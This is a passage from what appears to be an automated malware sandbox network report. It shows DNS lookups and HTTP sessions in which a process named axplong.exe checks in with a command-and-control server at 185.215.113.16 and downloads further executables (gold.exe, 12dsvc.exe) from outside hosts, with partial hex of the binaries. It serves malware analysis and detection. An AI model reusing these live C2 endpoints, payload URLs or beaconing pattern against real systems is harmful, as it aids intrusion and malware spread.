Sep 27, 2024 16:19:08.893425941 CEST	1.1.1.1	192.168.2.6	0xdab5	No error (0)	youtube-ui.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Sep 27, 2024 16:19:08.893425941 CEST	1.1.1.1	192.168.2.6	0xdab5	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Sep 27, 2024 16:19:08.893425941 CEST	1.1.1.1	192.168.2.6	0xdab5	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Sep 27, 2024 16:19:08.893425941 CEST	1.1.1.1	192.168.2.6	0xdab5	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Sep 27, 2024 16:19:08.893425941 CEST	1.1.1.1	192.168.2.6	0xdab5	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Sep 27, 2024 16:19:08.893425941 CEST	1.1.1.1	192.168.2.6	0xdab5	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Sep 27, 2024 16:19:08.893425941 CEST	1.1.1.1	192.168.2.6	0xdab5	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Sep 27, 2024 16:19:08.893425941 CEST	1.1.1.1	192.168.2.6	0xdab5	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Sep 27, 2024 16:19:08.893425941 CEST	1.1.1.1	192.168.2.6	0xdab5	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Sep 27, 2024 16:19:08.893425941 CEST	1.1.1.1	192.168.2.6	0xdab5	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Sep 27, 2024 16:19:08.893425941 CEST	1.1.1.1	192.168.2.6	0xdab5	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Sep 27, 2024 16:19:08.893425941 CEST	1.1.1.1	192.168.2.6	0xdab5	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Sep 27, 2024 16:19:08.893425941 CEST	1.1.1.1	192.168.2.6	0xdab5	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Sep 27, 2024 16:19:08.893678904 CEST	1.1.1.1	192.168.2.6	0xf0c6	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 16:19:08.893678904 CEST	1.1.1.1	192.168.2.6	0xf0c6	No error (0)	youtube-ui.l.google.com			65	IN (0x0001)	false
Sep 27, 2024 16:19:11.515625954 CEST	1.1.1.1	192.168.2.6	0x402e	No error (0)	www.google.com		142.250.185.100	A (IP address)	IN (0x0001)	false
Sep 27, 2024 16:19:11.515959978 CEST	1.1.1.1	192.168.2.6	0xecb5	No error (0)	www.google.com			65	IN (0x0001)	false
Sep 27, 2024 16:19:19.694442034 CEST	1.1.1.1	192.168.2.6	0xa92f	No error (0)	accounts.youtube.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 16:19:19.694453955 CEST	1.1.1.1	192.168.2.6	0xdb07	No error (0)	accounts.youtube.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 27, 2024 16:19:19.694453955 CEST	1.1.1.1	192.168.2.6	0xdb07	No error (0)	www3.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Sep 27, 2024 16:19:20.735626936 CEST	1.1.1.1	192.168.2.6	0x9f31	No error (0)	play.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Sep 27, 2024 16:19:24.442450047 CEST	1.1.1.1	192.168.2.6	0xb4de	No error (0)	eijfrhegrtbrfcd.online		172.67.187.100	A (IP address)	IN (0x0001)	false
Sep 27, 2024 16:19:24.442450047 CEST	1.1.1.1	192.168.2.6	0xb4de	No error (0)	eijfrhegrtbrfcd.online		104.21.64.194	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49602	185.215.113.16	80	2616	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:18:05.149002075 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 16:18:05.880045891 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:18:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 16:18:05.883866072 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 46 41 37 34 33 43 45 46 46 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFFFA743CEFFFD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Sep 27, 2024 16:18:06.153175116 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:18:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 36 62 0d 0a 20 3c 63 3e 31 30 30 30 30 30 32 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 66 66 64 35 37 34 34 66 36 39 63 35 38 36 37 65 65 38 32 31 34 66 38 31 35 64 63 32 63 64 30 61 34 61 34 65 62 36 63 66 62 66 32 66 36 62 37 30 34 36 65 66 36 65 31 23 31 30 30 30 30 30 34 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 66 66 63 35 36 34 34 66 35 39 63 35 62 36 37 65 64 38 32 31 32 66 38 31 35 64 34 32 65 64 30 66 63 66 38 65 63 33 30 65 61 66 65 62 34 62 36 35 32 36 65 23 31 30 30 30 30 30 35 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 66 66 64 35 37 34 34 66 36 39 63 35 38 36 37 65 65 38 32 31 34 66 38 31 36 64 62 33 34 62 31 61 38 62 64 65 37 33 31 66 37 62 33 66 66 61 62 34 66 23 31 30 30 30 30 36 36 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 66 66 64 35 37 34 34 66 36 39 63 35 38 36 37 65 65 38 32 31 34 66 38 31 35 64 62 33 34 39 36 61 33 61 39 61 37 33 30 65 38 66 38 66 62 62 66 34 39 35 34 65 61 65 31 36 30 37 32 [TRUNCATED] Data Ascii: 56b <c>1000002001+++aa0ed36554e19fbffd5744f69c5867ee8214f815dc2cd0a4a4eb6cfbf2f6b7046ef6e1#1000004001+++aa0ed36554e19fbffc5644f59c5b67ed8212f815d42ed0fcf8ec30eafeb4b6526e#1000005001+++aa0ed36554e19fbffd5744f69c5867ee8214f816db34b1a8bde731f7b3ffab4f#1000066001+++aa0ed36554e19fbffd5744f69c5867ee8214f815db3496a3a9a730e8f8fbbf4954eae1607267d36ac114d9a16c#1000191001+++aa0ed36554e19fbffd5744f69c5867ee8214f815dc2cd0a4a4eb6cf2f8ffb74764e0e17f3d77c77b#1000254001+++aa0ed36554e19fbffd5744f69c5867ee8214f815db3496a3a9a733f9f3f3a0046ef6e1#1000290001+++aa0ed36554e19fbffd5744f69c5867ee8214f815dc2cd0a4a4eb6cffefe3a35e6eeaaa636b77#1000314001+++aa0ed36554e19fbffd5744f69c5867ee8214f815dc2cd0a4a4eb6cd0e8f7be4b48bcb63421208d309642d9#1000322001+++aa0ed36554e19fbffd5744f69c5867ee8214f815db3496a3a9a72df9eaf8a6446fe2e1343d77c77b#1000342001+++aa0ed36554e19fbffd5744f69c5867ee8214f815db3496a3a9a731efe9e2b7427ee4aa636b77#1000349001+++aa0ed36554e19fbffd5744f69c5867ee8214f815db3496a3a9a720fffef9e1046ef6e1#1000354001+++e312d361 [TRUNCATED]
Sep 27, 2024 16:18:06.153194904 CEST	342	IN	Data Raw: 36 66 64 66 30 62 35 61 31 34 62 36 35 65 61 65 62 36 62 33 64 37 37 63 37 37 62 23 31 30 30 30 33 35 35 30 30 31 2b 2b 2b 65 33 31 32 64 33 36 31 31 65 66 34 39 66 61 31 66 34 35 61 35 66 65 61 39 66 35 63 37 63 66 31 38 32 31 36 65 35 30 61 64 Data Ascii: 6fdf0b5a14b65eaeb6b3d77c77b#1000355001+++e312d3611ef49fa1f45a5fea9f5c7cf18216e50adc2bcce2a7e12df9b2e8b2446fe1e928766ada#1000356001+++aa0ed36554e19fbffd5744f69c5867ee8214f815db3496a3a9a72df9f2f4fd4f73eb#1000357001+++aa0ed3651df49fa1a00b00a2df05

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49603	185.215.113.117	80	2616	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:18:06.227287054 CEST	53	OUT	GET /inc/gold.exe HTTP/1.1 Host: 185.215.113.117
Sep 27, 2024 16:18:06.935292006 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:18:06 GMT Content-Type: application/octet-stream Content-Length: 320000 Last-Modified: Wed, 11 Sep 2024 19:08:04 GMT Connection: keep-alive ETag: "66e1ea94-4e200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 67 e5 e1 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 d8 04 00 00 08 00 00 00 00 00 00 5e f7 04 00 00 20 00 00 00 00 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 05 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 10 f7 04 00 4b 00 00 00 00 00 05 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 05 00 0c 00 00 00 d8 f5 04 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELgf^ @ @`K H.textd `.rsrc@@.reloc @B@Hhp>I=NWS(`}CP?2hl<AICN/uT@$0r"_8)LsYQ%/?L7e&[z*j.8Jsn=O\|ngUDGHKRT1LzF^ly{JB\|`oH3VNf}J/?4nES3ArMqf{!IU/M?>0eXfiUi`wfaLwiVMi4iJps])l0i$\|s+?^(b\|zcbN
Sep 27, 2024 16:18:06.935339928 CEST	224	IN	Data Raw: 88 b1 dc ef f0 76 b5 64 47 e8 65 a9 a0 5d ee 20 8b ec 22 f8 3c 78 f6 6e d5 01 ce 68 5b a3 59 2f 98 59 39 17 21 3f ef a1 db a2 cc 74 92 35 fb 06 c6 05 c6 83 13 74 92 ec ad ea 79 e5 ff 43 ef 55 2b c3 bd ac aa 7d 05 4a c9 48 a6 4b 12 bb 2c 7a 2e c7 Data Ascii: vdGe] "<xnh[Y/Y9!?t5tyCU+}JHK,z.rP!GG9tAx;2\s]4"MS%0[\\|hY::Uw_5H\|zC+1J/z*Yo37`y9H%CA
Sep 27, 2024 16:18:06.935353041 CEST	1236	IN	Data Raw: 7f a3 4c 75 3d 3e 46 54 1f 58 f6 c0 60 45 67 28 1c 7c 44 de 2a 73 b8 85 7d 2d 20 e1 a1 1a 4b 19 a4 0d 1d 58 cb 7a 21 bf 32 59 00 26 ae b6 af 0d ff 71 aa 6f b3 8f a1 63 37 e4 b9 e5 08 67 07 bb 5c 8e 33 c4 92 61 fb ea ad 64 43 fa 2b 1b 28 35 6b d7 Data Ascii: Lu=>FTX`Eg(\|Ds}- KXz!2Y&qoc7g\3adC+(5kBXjd#`vIPHB7&:r^}NG?rz:B%{J{m]u1}_X\Cq/{"G4pdVtGuy9NV
Sep 27, 2024 16:18:06.935396910 CEST	1236	IN	Data Raw: d6 13 7b 10 49 ff 4d e6 d6 14 1e 6c 24 0e 67 75 d2 2b cb 92 23 79 8e ca e5 6e 93 5b 44 2d ec 07 27 d6 4f a6 75 0a 2d 80 6c a9 0f 0e 99 10 00 aa 7f f8 4b 5d c0 61 ab da 85 74 02 1e 27 b6 47 c2 84 5d b4 e8 12 d2 ac f8 d3 ba 0d 79 b8 d9 50 7a 7d 90 Data Ascii: {IMl$gu+#yn[D-'Ou-lK]at'G]yPz},Wm[1'I(KhJ[fC#leEM:YJ6v5v&gtgdW:@By9.Fc\|q'JecIuTA`w6Fu*a}@+W:~e
Sep 27, 2024 16:18:06.935414076 CEST	1236	IN	Data Raw: 0d 9e 2b 14 b6 e6 34 42 f6 5b d0 41 ff d0 f2 ae d9 eb 17 a4 f5 cd 6d 4e 81 ab 4b dd 29 12 0d 3e 7d 36 a6 58 10 b9 7a 05 20 3d 73 a1 cf f2 7f 72 33 59 c4 dc 19 e2 f6 c8 7d 21 a6 ff ad 40 9f 70 8f a4 1c d5 46 51 45 19 61 9d 7d 16 74 03 14 79 32 7d Data Ascii: +4B[AmNK)>}6Xz =sr3Y}!@pFQEa}ty2}{O@2j}e0(n~2:d&}>4Ypa'!>z@?'JHIa;qk?qif<g$D{kb\|*SLtKA=s%Owo4
Sep 27, 2024 16:18:06.935429096 CEST	1236	IN	Data Raw: af ff ce 3b 32 3c 45 43 6a 0b df 94 56 f4 d1 10 3f e1 00 8c e7 b8 2f 3a 88 25 5e 4a be fa 4e 65 1f a5 00 85 87 4b 8a c1 47 8e 5b 9f 9d 06 55 76 0a aa d6 e5 ab 6e 09 25 69 b6 6f 59 4c 2c a6 2f b7 9c ba df 8b 1c 69 ca db a4 a3 d0 b4 d6 13 f0 b9 7e Data Ascii: ;2<ECjV?/:%^JNeKG[Uvn%ioYL,/i~0]PK\\JiZMvImggA_G/j`\|qyEa6C,;)H]Mt(r?CVKTr`7+!Xb=BRx0#)6naAF=.
Sep 27, 2024 16:18:06.935446978 CEST	896	IN	Data Raw: 8a bd 7b c5 1b b8 90 51 c5 98 84 a5 90 d3 14 b2 d0 56 c5 14 77 4a 21 06 36 42 45 ea c3 78 0e 28 06 3a 5b 0e 6c 72 cb 7f 35 67 63 b1 46 db c2 ff a3 c1 de 32 80 58 19 06 b1 28 72 43 f8 49 ff ba 11 ef 34 da 6a ab 37 fd 75 6e 99 05 82 e1 5c bc 28 d4 Data Ascii: {QVwJ!6BEx(:[lr5gcF2X(rCI4j7un\(3#uAJ&d=$oOhocAQpSY<O2Q2w`MKa2G,I~"VU(24A5v(~1WP=XIH4C-e
Sep 27, 2024 16:18:06.935622931 CEST	1236	IN	Data Raw: b5 ec 5e 90 a4 68 ce 5a ac 82 f9 e3 7b fa 1b 5f 9f cd 7d e3 4a ef 52 86 e2 aa f8 ce f5 b0 dc 2d b9 7b 31 05 22 31 cb a9 c7 53 0b 1d ef 2f 7f 51 87 c2 1b 2f 91 89 59 57 36 13 45 3d 3b d3 8e f0 38 7d 34 f1 c3 ec ba 42 13 e2 a1 c9 2a 9f 40 c7 d2 f4 Data Ascii: ^hZ{_}JR-{1"1S/Q/YW6E=;8}4B*@}]cfRO4[PV1Jw6ri ?@I[V#BXPli;]F~-qAd>`ccI~>7Nw?NvJEj@e{[89:6 {QJ
Sep 27, 2024 16:18:06.935638905 CEST	1236	IN	Data Raw: 27 8f 1f 82 8b fe 92 d1 f5 ec 97 e5 2f 14 49 d1 8b dd ac 21 4e 22 20 69 76 36 6f 63 f0 84 e1 3a b0 e8 07 b6 f2 93 6b 98 74 ec 9d a0 99 3e 1b cc 8c 0b d5 68 a9 e5 19 69 43 a5 6a 23 07 86 34 eb 87 e8 ae b9 9f 34 17 63 12 fa 4a 4a 1f 9b c4 a2 75 7f Data Ascii: '/I!N" iv6oc:kt>hiCj#44cJJueSvRf_)BLD,45]msYZY\u/cu_ LD3]Ezwhes9x./,?0S)_`R(/
Sep 27, 2024 16:18:06.935656071 CEST	1236	IN	Data Raw: 0e e3 07 41 d8 45 5b 73 c3 84 58 44 2f d1 ce 30 fd e2 36 98 28 26 fd 2e fe e5 56 d5 92 1e ca 06 f9 49 97 3c b6 dd 88 13 b9 5a 07 5e 66 d4 b9 86 a0 ae d9 1f 9a 0a 53 b0 f6 4b 9e 91 2f 83 ff f6 d8 65 21 89 9d 3b ea 46 3c ca 6d f0 93 24 a9 76 3d de Data Ascii: AE[sXD/06(&.VI<Z^fSK/e!;F<m$v=><aoMbDWTp7U~~Ik<DLc$riq8ly`;xssft128qB0YnIOQ6'Nt:<\qufc[%=*5
Sep 27, 2024 16:18:06.940308094 CEST	1236	IN	Data Raw: c0 8d d4 b8 54 4e 8d b5 ab 76 7e 71 b2 61 f0 70 77 b5 25 8e a2 73 fc b4 4b 3e f8 c1 00 03 83 27 98 52 98 b9 cd 06 5e a0 00 f7 ae fb 2b 66 57 85 4e d1 a0 c2 24 69 b8 c0 23 ea a8 52 8f 2b 23 87 74 05 a6 5f 50 d9 f5 4c 46 d0 2a 58 af d0 7c 07 5d 85 Data Ascii: TNv~qapw%sK>'R^+fWN$i#R+#t_PLF*X\|]^9diA;$9_(D\!ktIGcV`,F35f?(qq?@wNT$\lB.ND8x5u&/^J4 ~\|BU;Ve)@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49604	185.215.113.16	80	2616	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:18:08.172831059 CEST	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 30 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000002001&unit=246122658369
Sep 27, 2024 16:18:08.894685030 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:18:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49605	194.116.215.195	80	2616	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 16:18:08.929538012 CEST	51	OUT	GET /12dsvc.exe HTTP/1.1 Host: 194.116.215.195
Sep 27, 2024 16:18:09.535300970 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 14:18:09 GMT Content-Type: application/octet-stream Content-Length: 903168 Last-Modified: Wed, 25 Sep 2024 19:30:48 GMT Connection: keep-alive ETag: "66f464e8-dc800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 b6 64 f4 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 be 0d 00 00 08 00 00 00 00 00 00 ee dc 0d 00 00 20 00 00 00 e0 0d 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 0e 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 dc 0d 00 57 00 00 00 00 e0 0d 00 b8 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0e 00 0c 00 00 00 5c db 0d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELdf @ `W\ H.text `.rsrc@@.reloc@BHk(Q.GQLqNqr\^vE<@=)!b=qQ..Bc<qi AQE,T~fX3~$)(8trc@i2?-8-:'I`D?/3?WP'XLzb\| 2*\BHg$3p\|+sKZm`wwiVtnLLd`aOT#k0D@d8p{.?Z-\W,(P&`L?ZJ,y:9rYD;S;3{c,Q+bNU/EO[
Sep 27, 2024 16:18:09.535331964 CEST	1236	IN	Data Raw: 86 c1 b6 5b 96 97 57 e7 bf 7f c6 b2 3d ad 19 72 db cc 78 1b 27 b6 9d dd 71 8d 53 22 d3 79 db f7 77 67 0e e3 1e 61 59 f3 a5 c6 8b b3 b0 df 0f 6e 8e 26 5b 45 16 81 1e 85 7a 2d 36 6a 7f 4e 31 23 12 21 0d 96 4a 9f 3c 34 2f 3b c3 68 97 fc da 7a 7f 54 Data Ascii: [W=rx'qS"ywgaYn&[Ez-6jN1#!J<4/;hzT2UL9jE&\|`4/n6hg#yDG*"7Ap;L2:@)'B'Ah6\|?1+tPMdvK}#Wk'q?
Sep 27, 2024 16:18:09.535353899 CEST	1236	IN	Data Raw: f6 ba fb 2c af 09 e5 99 4b 6a 59 0f d0 04 a5 1e b4 ee 6e 03 99 9b 31 55 33 d8 ee 7b 89 72 de 5f 37 4f ce aa 4b cd 9f 7e 31 d4 0d ff bf 26 92 b6 08 78 b0 80 d7 26 89 59 a7 11 3d c3 00 15 9c ec 4e 82 46 d8 5c df ac f9 97 c3 6f 54 95 fd b4 3c a6 9a Data Ascii: ,KjYn1U3{r_7OK~1&x&Y=NF\oT<= i,0V,0Ni&>I/wAG*]RrGi\|C>Q3n#[Mz{tL!/;9Aq(^?P@PfLm60IR&Sr6mM+A
Sep 27, 2024 16:18:09.535367966 CEST	1236	IN	Data Raw: 5a b0 80 bc 0d 3c da 2d 34 16 21 a2 9a f6 46 ba 5c 0a cc b8 87 de 58 cb 10 ba 66 09 db 32 57 e6 42 c3 bc 5c 4a d1 9e 0e d4 20 ef e2 29 ef 3f 15 07 c6 13 41 94 c6 2f ea 0c 34 d5 ac 74 47 d3 6a a6 06 f7 49 58 88 18 d9 e7 87 62 65 c5 bd e2 bb 93 c3 Data Ascii: Z<-4!F\Xf2WB\J )?A/4tGjIXbe,TFH`(33E{^m?-g-;'e&7*n%h&?(y%i~<aqo<I2bD_\|ev^!7VIf$t2rxtK4H
Sep 27, 2024 16:18:09.535391092 CEST	896	IN	Data Raw: 45 10 52 b1 0e 49 de 58 55 54 98 11 e2 cd 1e ae d2 e5 ca 34 6e ef 43 0e b0 bd f3 68 d8 3e 2a 2e b8 ac 0b df c2 e0 08 49 b3 55 70 d0 b6 51 54 c5 02 ec 2f b7 c6 e4 86 6c 65 92 fa 0c d5 c6 34 11 69 5f 1c 1d c4 21 36 5e c0 0e 10 13 59 54 ab c4 17 24 Data Ascii: ERIXUT4nCh>*.IUpQT/le4i_!6^YT$-{I"<=vGy,:^`T@8T_Zqy8we0 jf:q6nRw/6erj3?x7'1!sT6-cwzG{)\ZX(Cy$
Sep 27, 2024 16:18:09.535407066 CEST	1236	IN	Data Raw: 14 5b 0e 2f e5 e7 87 9c 8a b9 07 1e a3 96 b3 05 1b 7d 30 e5 76 b4 02 f5 19 8d 76 24 db 35 59 51 d9 a6 5e ce f8 44 6e 2c b6 da b1 53 a4 2e 14 27 32 18 d2 68 02 65 c4 66 a5 25 db 9b 0d cb 85 0f 37 a6 5d 9a 3b 51 e5 2c b4 85 c2 da a9 4a 35 44 ee 7b Data Ascii: [/}0vv$5YQ^Dn,S.'2hef%7];Q,J5D{vvxuB3:/: 4C#_X(i>z)f\TI,@kE0M/P]$kt$Kc3V[e>(h9V,cds9'!p4YVxbYW<]Rq
Sep 27, 2024 16:18:09.535420895 CEST	1236	IN	Data Raw: c7 fe 8a b9 8d d3 34 98 c5 d4 d9 de 16 06 f2 f8 18 5b ab 57 2a 3a 8a 3f cc a8 1c 62 48 40 56 4a 4e bc 95 68 4a 87 97 ec 4a d1 f6 8b e1 e0 3d 7a d1 06 f2 2c 04 59 2f de 64 f8 d2 d3 da 42 3e 89 24 a7 0f 4e 88 65 8a 1c 9a 4d 15 9a df 3f 10 d6 1e 51 Data Ascii: 4[W:?bH@VJNhJJ=z,Y/dB>$NeM?Q##e>apIh$T #kL]Buc0u+}v=U8D]H4`e>.u!\|rRX:^7Z{&weQHOh8Bok7"gn)yj
Sep 27, 2024 16:18:09.535435915 CEST	1236	IN	Data Raw: 94 50 64 c4 fd 90 8d ea 67 30 e0 bc 3b d4 6e 55 07 60 15 ee ab 5d 2e 07 7e e6 64 65 e9 39 ce d0 c6 5c 0d 06 f5 a7 f3 e1 d2 e8 ff eb 76 0b 02 29 89 66 7d 7b d6 5e e1 7a 12 7b 7f 26 58 6d f8 5d 10 65 58 e3 42 cb b1 0e 57 33 c1 07 e8 5d d0 bc d8 32 Data Ascii: Pdg0;nU`].~de9\v)f}{^z{&Xm]eXBW3]2=<Vle0JQgeLq!kOypEm;WAuJ5t`Kldosp5X`%He0#!mf5^p
Sep 27, 2024 16:18:09.535449982 CEST	672	IN	Data Raw: 6f 1b e7 48 e7 4e 89 47 48 48 d4 3b 22 ee 5c 01 fa d7 4a 2c 1f 95 3a b2 c0 bd 26 d6 7a aa 72 39 81 98 d7 19 5c 4c 66 67 5c 5b 53 3e 9e eb b8 e4 2d 73 13 da e3 6e 82 3e 07 3e b9 e6 71 36 8a 97 10 a2 6b cd c1 4a d4 86 f6 63 63 53 ac b1 52 ea ef 68 Data Ascii: oHNGHH;"\J,:&zr9\Lfg\[S>-sn>>q6kJccSRhXJ?6UgLv4\UJ,UK%ZRt~C~%`^:y;2DYWf4hEM~](b}@Q8c`@D`<^ .#7]!&8a$
Sep 27, 2024 16:18:09.535466909 CEST	1236	IN	Data Raw: a3 76 41 0e 12 db 90 90 57 e9 c8 26 ce 23 8d d0 5a 6f 5c 68 0b 1f 02 dd 94 6c 51 f8 48 32 17 b5 a1 d1 bd fe 10 93 00 2c 07 88 02 7f 5e db 30 04 1a bc 8b b2 f6 26 69 fb db d4 8c 2b f6 fb 97 f9 9e 23 5f ed 62 63 d0 d1 42 95 76 66 77 40 ce 6a ea 00 Data Ascii: vAW&#Zo\hlQH2,^0&i+#_bcBvfw@j?)2c^H(fl3CX;*;-3SZXM,Jc`;0oNZ-XXF<_@EpVluI~grR>#%4'6G '50Qxq;k
Sep 27, 2024 16:18:09.540568113 CEST	1236	IN	Data Raw: 4a bf 57 38 44 1d 67 f5 52 aa 6b 83 bc 67 50 77 48 09 93 c4 37 25 ad b1 c3 dd d1 eb c9 c1 b1 67 a5 95 ad 56 0e 57 fb 56 9d 26 b3 99 16 8d fb 3f b7 7f 2b c3 dd 46 2e a7 e3 4f b8 32 02 e0 2c 12 58 dd fb 88 a2 b8 4d 9e 37 e3 0f fc 89 a2 71 53 22 c2 Data Ascii: JW8DgRkgPwH7%gVWV&?+F.O2,XM7qS"C#2!F,pQNR5J?:IN#85Ac*:vc?"ccPjFfYQM/b$x3%.W?mf6J/cKq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49607	185.215.113.16	80	2616	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
